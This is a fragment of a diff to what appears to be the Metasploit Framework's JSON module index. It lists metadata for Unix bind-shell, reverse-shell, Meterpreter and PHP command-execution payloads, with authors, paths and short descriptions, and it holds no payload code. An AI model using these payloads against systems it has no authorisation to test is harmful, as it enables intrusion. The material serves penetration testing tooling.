false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213126,9 +216951,7 @@ "payload_cmd/unix/bind_lua": { "name": "Unix Command Shell, Bind TCP (via Lua)", "fullname": "payload/cmd/unix/bind_lua", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213136,24 +216959,21 @@ "xistence " ], "description": "Listen for a connection and spawn a command shell via Lua", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_lua.rb", "is_install_path": true, "ref_name": "cmd/unix/bind_lua", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213162,9 +216982,7 @@ "payload_cmd/unix/bind_netcat": { "name": "Unix Command Shell, Bind TCP (via netcat)", "fullname": "payload/cmd/unix/bind_netcat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213174,24 +216992,21 @@ "juan vazquez " ], "description": "Listen for a connection and spawn a command shell via netcat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_netcat.rb", "is_install_path": true, "ref_name": "cmd/unix/bind_netcat", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213200,9 +217015,7 @@ "payload_cmd/unix/bind_netcat_gaping": { "name": "Unix Command Shell, Bind TCP (via netcat -e)", "fullname": "payload/cmd/unix/bind_netcat_gaping", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213210,24 +217023,21 @@ "hdm " ], "description": "Listen for a connection and spawn a command shell via netcat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb", "is_install_path": true, "ref_name": "cmd/unix/bind_netcat_gaping", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213236,9 +217046,7 @@ "payload_cmd/unix/bind_netcat_gaping_ipv6": { "name": "Unix Command Shell, Bind TCP (via netcat -e) IPv6", "fullname": "payload/cmd/unix/bind_netcat_gaping_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213246,24 +217054,21 @@ "hdm " ], "description": "Listen for a connection and spawn a command shell via netcat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb", "is_install_path": true, "ref_name": "cmd/unix/bind_netcat_gaping_ipv6", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213272,9 +217077,7 @@ "payload_cmd/unix/bind_nodejs": { "name": "Unix Command Shell, Bind TCP (via nodejs)", "fullname": "payload/cmd/unix/bind_nodejs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213282,24 +217085,21 @@ "joev " ], "description": "Continually listen for a connection and spawn a command shell via nodejs", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_nodejs.rb", "is_install_path": true, "ref_name": "cmd/unix/bind_nodejs", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213308,9 +217108,7 @@ "payload_cmd/unix/bind_perl": { "name": "Unix Command Shell, Bind TCP (via Perl)", "fullname": "payload/cmd/unix/bind_perl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213319,24 +217117,21 @@ "cazz " ], "description": "Listen for a connection and spawn a command shell via perl", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_perl.rb", "is_install_path": true, "ref_name": "cmd/unix/bind_perl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213345,9 +217140,7 @@ "payload_cmd/unix/bind_perl_ipv6": { "name": "Unix Command Shell, Bind TCP (via perl) IPv6", "fullname": "payload/cmd/unix/bind_perl_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213356,24 +217149,21 @@ "cazz " ], "description": "Listen for a connection and spawn a command shell via perl", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb", "is_install_path": true, "ref_name": "cmd/unix/bind_perl_ipv6", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213382,9 +217172,7 @@ "payload_cmd/unix/bind_r": { "name": "Unix Command Shell, Bind TCP (via R)", "fullname": "payload/cmd/unix/bind_r", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213392,24 +217180,21 @@ "RageLtMan " ], "description": "Continually listen for a connection and spawn a command shell via R", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_r.rb", "is_install_path": true, "ref_name": "cmd/unix/bind_r", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213418,9 +217203,7 @@ "payload_cmd/unix/bind_ruby": { "name": "Unix Command Shell, Bind TCP (via Ruby)", "fullname": "payload/cmd/unix/bind_ruby", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213428,24 +217211,21 @@ "kris katterjohn " ], "description": "Continually listen for a connection and spawn a command shell via Ruby", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_ruby.rb", "is_install_path": true, "ref_name": "cmd/unix/bind_ruby", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213454,9 +217234,7 @@ "payload_cmd/unix/bind_ruby_ipv6": { "name": "Unix Command Shell, Bind TCP (via Ruby) IPv6", "fullname": "payload/cmd/unix/bind_ruby_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213464,24 +217242,21 @@ "kris katterjohn " ], "description": "Continually listen for a connection and spawn a command shell via Ruby", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb", "is_install_path": true, "ref_name": "cmd/unix/bind_ruby_ipv6", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213490,9 +217265,7 @@ "payload_cmd/unix/bind_socat_sctp": { "name": "Unix Command Shell, Bind SCTP (via socat)", "fullname": "payload/cmd/unix/bind_socat_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213500,9 +217273,7 @@ "RageLtMan " ], "description": "Creates an interactive shell via socat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213516,8 +217287,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213526,9 +217296,7 @@ "payload_cmd/unix/bind_socat_udp": { "name": "Unix Command Shell, Bind UDP (via socat)", "fullname": "payload/cmd/unix/bind_socat_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213536,24 +217304,21 @@ "RageLtMan " ], "description": "Creates an interactive shell via socat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_socat_udp.rb", "is_install_path": true, "ref_name": "cmd/unix/bind_socat_udp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213562,9 +217327,7 @@ "payload_cmd/unix/bind_stub": { "name": "Unix Command Shell, Bind TCP (stub)", "fullname": "payload/cmd/unix/bind_stub", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213572,24 +217335,21 @@ "hdm " ], "description": "Listen for a connection and spawn a command shell (stub only, no payload)", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_stub.rb", "is_install_path": true, "ref_name": "cmd/unix/bind_stub", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213598,9 +217358,7 @@ "payload_cmd/unix/bind_zsh": { "name": "Unix Command Shell, Bind TCP (via Zsh)", "fullname": "payload/cmd/unix/bind_zsh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213608,25 +217366,22 @@ "Doug Prostko ", "Wang Yihang " ], - "description": "Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is\n often available, please be aware it isn't usually installed by default.", - "references": [ - - ], + "description": "Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is\n often available, please be aware it isn't usually installed by default.", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_zsh.rb", "is_install_path": true, "ref_name": "cmd/unix/bind_zsh", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213635,9 +217390,7 @@ "payload_cmd/unix/generic": { "name": "Unix Command, Generic Command Execution", "fullname": "payload/cmd/unix/generic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213645,24 +217398,21 @@ "hdm " ], "description": "Executes the supplied command", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/generic.rb", "is_install_path": true, "ref_name": "cmd/unix/generic", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213671,9 +217421,7 @@ "payload_cmd/unix/interact": { "name": "Unix Command, Interact with Established Connection", "fullname": "payload/cmd/unix/interact", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213681,35 +217429,502 @@ "hdm " ], "description": "Interacts with a shell on an established socket connection", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/interact.rb", "is_install_path": true, "ref_name": "cmd/unix/interact", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, "staged": false }, + "payload_cmd/unix/php/bind_php": { + "name": "PHP Exec, PHP Command Shell, Bind TCP (via PHP)", + "fullname": "payload/cmd/unix/php/bind_php", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "msutovsky-r7", + "egypt ", + "diaul " + ], + "description": "Execute a PHP payload as an OS command from a Posix-compatible shell.\n\nListen for a connection and spawn a command shell via php", + "references": [], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-22 11:47:50 +0000", + "path": "/modules/payloads/adapters/cmd/unix/php.rb", + "is_install_path": true, + "ref_name": "cmd/unix/php/bind_php", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/php", + "adapted_refname": "php/bind_php", + "staged": false + }, + "payload_cmd/unix/php/bind_php_ipv6": { + "name": "PHP Exec, PHP Command Shell, Bind TCP (via php) IPv6", + "fullname": "payload/cmd/unix/php/bind_php_ipv6", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "msutovsky-r7", + "egypt ", + "diaul " + ], + "description": "Execute a PHP payload as an OS command from a Posix-compatible shell.\n\nListen for a connection and spawn a command shell via php (IPv6)", + "references": [], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-22 11:47:50 +0000", + "path": "/modules/payloads/adapters/cmd/unix/php.rb", + "is_install_path": true, + "ref_name": "cmd/unix/php/bind_php_ipv6", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/php", + "adapted_refname": "php/bind_php_ipv6", + "staged": false + }, + "payload_cmd/unix/php/download_exec": { + "name": "PHP Exec", + "fullname": "payload/cmd/unix/php/download_exec", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "msutovsky-r7", + "egypt " + ], + "description": "Execute a PHP payload as an OS command from a Posix-compatible shell", + "references": [], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-22 11:47:50 +0000", + "path": "/modules/payloads/adapters/cmd/unix/php.rb", + "is_install_path": true, + "ref_name": "cmd/unix/php/download_exec", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/php", + "adapted_refname": "php/download_exec", + "staged": false + }, + "payload_cmd/unix/php/exec": { + "name": "PHP Exec, PHP Execute Command ", + "fullname": "payload/cmd/unix/php/exec", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "msutovsky-r7", + "egypt " + ], + "description": "Execute a PHP payload as an OS command from a Posix-compatible shell.\n\nExecute a single system command", + "references": [], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-22 11:47:50 +0000", + "path": "/modules/payloads/adapters/cmd/unix/php.rb", + "is_install_path": true, + "ref_name": "cmd/unix/php/exec", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/php", + "adapted_refname": "php/exec", + "staged": false + }, + "payload_cmd/unix/php/meterpreter/bind_tcp": { + "name": "PHP Exec, PHP Meterpreter, Bind TCP Stager", + "fullname": "payload/cmd/unix/php/meterpreter/bind_tcp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "msutovsky-r7", + "egypt " + ], + "description": "Execute a PHP payload as an OS command from a Posix-compatible shell.\n\nRun a meterpreter server in PHP.\n\nListen for a connection", + "references": [], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-22 11:47:50 +0000", + "path": "/modules/payloads/adapters/cmd/unix/php.rb", + "is_install_path": true, + "ref_name": "cmd/unix/php/meterpreter/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/php", + "adapted_refname": "php/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "php/meterpreter", + "stager_refname": "php/bind_tcp" + }, + "payload_cmd/unix/php/meterpreter/bind_tcp_ipv6": { + "name": "PHP Exec, PHP Meterpreter, Bind TCP Stager IPv6", + "fullname": "payload/cmd/unix/php/meterpreter/bind_tcp_ipv6", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "msutovsky-r7", + "egypt " + ], + "description": "Execute a PHP payload as an OS command from a Posix-compatible shell.\n\nRun a meterpreter server in PHP.\n\nListen for a connection over IPv6", + "references": [], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-22 11:47:50 +0000", + "path": "/modules/payloads/adapters/cmd/unix/php.rb", + "is_install_path": true, + "ref_name": "cmd/unix/php/meterpreter/bind_tcp_ipv6", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/php", + "adapted_refname": "php/meterpreter/bind_tcp_ipv6", + "staged": true, + "stage_refname": "php/meterpreter", + "stager_refname": "php/bind_tcp_ipv6" + }, + "payload_cmd/unix/php/meterpreter/bind_tcp_ipv6_uuid": { + "name": "PHP Exec, PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support", + "fullname": "payload/cmd/unix/php/meterpreter/bind_tcp_ipv6_uuid", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "msutovsky-r7", + "egypt ", + "OJ Reeves" + ], + "description": "Execute a PHP payload as an OS command from a Posix-compatible shell.\n\nRun a meterpreter server in PHP.\n\nListen for a connection over IPv6 with UUID Support", + "references": [], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-22 11:47:50 +0000", + "path": "/modules/payloads/adapters/cmd/unix/php.rb", + "is_install_path": true, + "ref_name": "cmd/unix/php/meterpreter/bind_tcp_ipv6_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/php", + "adapted_refname": "php/meterpreter/bind_tcp_ipv6_uuid", + "staged": true, + "stage_refname": "php/meterpreter", + "stager_refname": "php/bind_tcp_ipv6_uuid" + }, + "payload_cmd/unix/php/meterpreter/bind_tcp_uuid": { + "name": "PHP Exec, PHP Meterpreter, Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/unix/php/meterpreter/bind_tcp_uuid", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "msutovsky-r7", + "egypt ", + "OJ Reeves" + ], + "description": "Execute a PHP payload as an OS command from a Posix-compatible shell.\n\nRun a meterpreter server in PHP.\n\nListen for a connection with UUID Support", + "references": [], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-22 11:47:50 +0000", + "path": "/modules/payloads/adapters/cmd/unix/php.rb", + "is_install_path": true, + "ref_name": "cmd/unix/php/meterpreter/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/php", + "adapted_refname": "php/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "php/meterpreter", + "stager_refname": "php/bind_tcp_uuid" + }, + "payload_cmd/unix/php/meterpreter/reverse_tcp": { + "name": "PHP Exec, PHP Meterpreter, PHP Reverse TCP Stager", + "fullname": "payload/cmd/unix/php/meterpreter/reverse_tcp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "msutovsky-r7", + "egypt " + ], + "description": "Execute a PHP payload as an OS command from a Posix-compatible shell.\n\nRun a meterpreter server in PHP.\n\nReverse PHP connect back stager with checks for disabled functions", + "references": [], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-22 11:47:50 +0000", + "path": "/modules/payloads/adapters/cmd/unix/php.rb", + "is_install_path": true, + "ref_name": "cmd/unix/php/meterpreter/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/php", + "adapted_refname": "php/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "php/meterpreter", + "stager_refname": "php/reverse_tcp" + }, + "payload_cmd/unix/php/meterpreter/reverse_tcp_uuid": { + "name": "PHP Exec, PHP Meterpreter, PHP Reverse TCP Stager", + "fullname": "payload/cmd/unix/php/meterpreter/reverse_tcp_uuid", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "msutovsky-r7", + "egypt ", + "OJ Reeves" + ], + "description": "Execute a PHP payload as an OS command from a Posix-compatible shell.\n\nRun a meterpreter server in PHP.\n\nReverse PHP connect back stager with checks for disabled functions", + "references": [], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-22 11:47:50 +0000", + "path": "/modules/payloads/adapters/cmd/unix/php.rb", + "is_install_path": true, + "ref_name": "cmd/unix/php/meterpreter/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/php", + "adapted_refname": "php/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "php/meterpreter", + "stager_refname": "php/reverse_tcp_uuid" + }, + "payload_cmd/unix/php/meterpreter_reverse_tcp": { + "name": "PHP Exec", + "fullname": "payload/cmd/unix/php/meterpreter_reverse_tcp", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "msutovsky-r7", + "egypt " + ], + "description": "Execute a PHP payload as an OS command from a Posix-compatible shell", + "references": [], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-22 11:47:50 +0000", + "path": "/modules/payloads/adapters/cmd/unix/php.rb", + "is_install_path": true, + "ref_name": "cmd/unix/php/meterpreter_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/php", + "adapted_refname": "php/meterpreter_reverse_tcp", + "staged": false + }, + "payload_cmd/unix/php/reverse_php": { + "name": "PHP Exec, PHP Command Shell, Reverse TCP (via PHP)", + "fullname": "payload/cmd/unix/php/reverse_php", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "msutovsky-r7", + "egypt " + ], + "description": "Execute a PHP payload as an OS command from a Posix-compatible shell.\n\nReverse PHP connect back shell with checks for disabled functions", + "references": [], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-22 11:47:50 +0000", + "path": "/modules/payloads/adapters/cmd/unix/php.rb", + "is_install_path": true, + "ref_name": "cmd/unix/php/reverse_php", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/php", + "adapted_refname": "php/reverse_php", + "staged": false + }, + "payload_cmd/unix/php/shell_findsock": { + "name": "PHP Exec, PHP Command Shell, Find Sock", + "fullname": "payload/cmd/unix/php/shell_findsock", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "msutovsky-r7", + "egypt " + ], + "description": "Execute a PHP payload as an OS command from a Posix-compatible shell.\n\nSpawn a shell on the established connection to\nthe webserver. Unfortunately, this payload\ncan leave conspicuous evil-looking entries in the\napache error logs, so it is probably a good idea\nto use a bind or reverse shell unless firewalls\nprevent them from working. The issue this\npayload takes advantage of (CLOEXEC flag not set\non sockets) appears to have been patched on the\nUbuntu version of Apache and may not work on\nother Debian-based distributions. Only tested on\nApache but it might work on other web servers\nthat leak file descriptors to child processes.", + "references": [], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-22 11:47:50 +0000", + "path": "/modules/payloads/adapters/cmd/unix/php.rb", + "is_install_path": true, + "ref_name": "cmd/unix/php/shell_findsock", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/php", + "adapted_refname": "php/shell_findsock", + "staged": false + }, "payload_cmd/unix/pingback_bind": { "name": "Unix Command Shell, Pingback Bind TCP (via netcat)", "fullname": "payload/cmd/unix/pingback_bind", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213717,24 +217932,21 @@ "asoto-r7" ], "description": "Accept a connection, send a UUID, then exit", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/pingback_bind.rb", "is_install_path": true, "ref_name": "cmd/unix/pingback_bind", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213743,9 +217955,7 @@ "payload_cmd/unix/pingback_reverse": { "name": "Unix Command Shell, Pingback Reverse TCP (via netcat)", "fullname": "payload/cmd/unix/pingback_reverse", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213753,24 +217963,21 @@ "asoto-r7" ], "description": "Creates a socket, send a UUID, then exit", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/pingback_reverse.rb", "is_install_path": true, "ref_name": "cmd/unix/pingback_reverse", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213779,34 +217986,29 @@ "payload_cmd/unix/python/exec": { "name": "Python Exec, Python Execute Command", "fullname": "payload/cmd/unix/python/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Spencer McIntyre" ], - "description": "Execute a Python payload from a command.\n\nExecute an arbitrary OS command. Compatible with Python 2.7 and 3.4+.", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nExecute an arbitrary OS command. Compatible with Python 2.7 and 3.4+.", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, 